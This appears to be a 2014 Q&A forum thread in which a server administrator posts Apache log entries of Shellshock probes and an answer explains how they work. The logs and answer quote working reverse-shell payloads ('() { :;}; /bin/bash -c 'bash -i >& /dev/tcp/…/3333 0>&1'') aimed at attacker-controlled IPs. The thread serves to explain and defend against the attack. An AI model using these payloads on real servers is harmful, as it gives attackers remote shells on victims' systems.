5

My server is obviously up to date and not vulnerable to shellshock exploits.

However I am still curious to know how the following shellshock scan work:

/var/log/apache2 # cat access.log | grep bash
209.126.230.72 - - [25/Sep/2014:00:52:03 +0000] "GET / HTTP/1.0" 200 11783 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
94.23.193.131 - - [26/Sep/2014:03:04:45 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/62.122.246.165/2333 0>&1'"
94.23.193.131 - - [26/Sep/2014:03:20:53 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/202.137.176.146/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:03:23:50 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/202.137.176.146/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:03:28:43 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:03:33:03 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:03:45:16 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:03:45:16 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:03:48:56 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:05:36:20 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:05:37:30 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:05:42:32 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"

The log format is thus:

LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\""

the last two fields being the referrer and the user-agent.

The first scan is friendly (see link) and places the exploit test in the user-agent string. Why?

The series of scan afterwards are obviously malicious and place the exploit test in the referrer. Why? What does the following command achieve?

() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'

Why the different IPs in the command?

augustin
  • 185
  • 2
  • 8
  • 1
    Note that http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html explicitly states that malware now uses the same test scan user-agent as his/hers. So the first scan is probably just social engineering to lull you into not reacting. – Steve Dodier-Lazaro Sep 27 '14 at 11:22
  • 1
    @SteveDL Good point except that the IP listed in the log matches the one said to be used by erratasec.com in the linked post. He writes "I haven't run a scan now for over two days.", i.e. 2 days since the update today (the 27th), not since the date of the blog entry (the 24th). So the first entry is legitimate and friendly in my case. – augustin Sep 27 '14 at 12:38

1 Answers1

8

If / is rendered by a cgi script, that script would be called with the User-Agent in an environment variable called HTTP_USER_AGENT.

bash would look at all environment variables starting with () { to find function definitions and execute the function definition. In your example the function definition would then be: HTTP_USER_AGENT() { :;}

Due to the bug bash would continue processing with ; being the command separator, and /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1' being another command, which did not just define a harmless function, but rather opened up your system to the attacker.

>& opens a file. /dev/tcp/ is special in that whenever bash would try to open a file with a name starting with that string, it actually opens a TCP socket instead. This is a feature of bash itself. It will not work if would be opened by another command, so for example would cat /dev/tcp/... not work.

0>&1 uses the socket previously opened for output for input as well.

bash -i starts an interactive bash shell with stdio connected to a TCP socket. Presumably 195.225.34.101 is the IP address of a host controlled by the attacker. Quite likely that is a server which the attacker compromised using the same vulnerability.

Using different IPs is probably just because the attacker want to be prepared in case some of the hosts he controls get taken down.

kasperd
  • 5,402
  • 1
  • 19
  • 38
  • `/dev/tcp` is a pseudo-filesystem provided by `bash` that permits scripts to use the Internet as if it were part of the computer's directory structure. – Mark Sep 27 '14 at 11:01
  • @Mark /dev filesystem is exposed by kernel, not by bash, same as /proc – rkosegi Sep 27 '14 at 11:16
  • 1
    @rkosegi `/dev`, `/dev/tcp`, and `/proc` work in three very different ways. `/dev/tcp` is a `bash`-only feature. To other programs `/dev/tcp` does not even exist. – kasperd Sep 27 '14 at 12:09
  • Oh, you are correct, I take it back. – rkosegi Sep 27 '14 at 12:20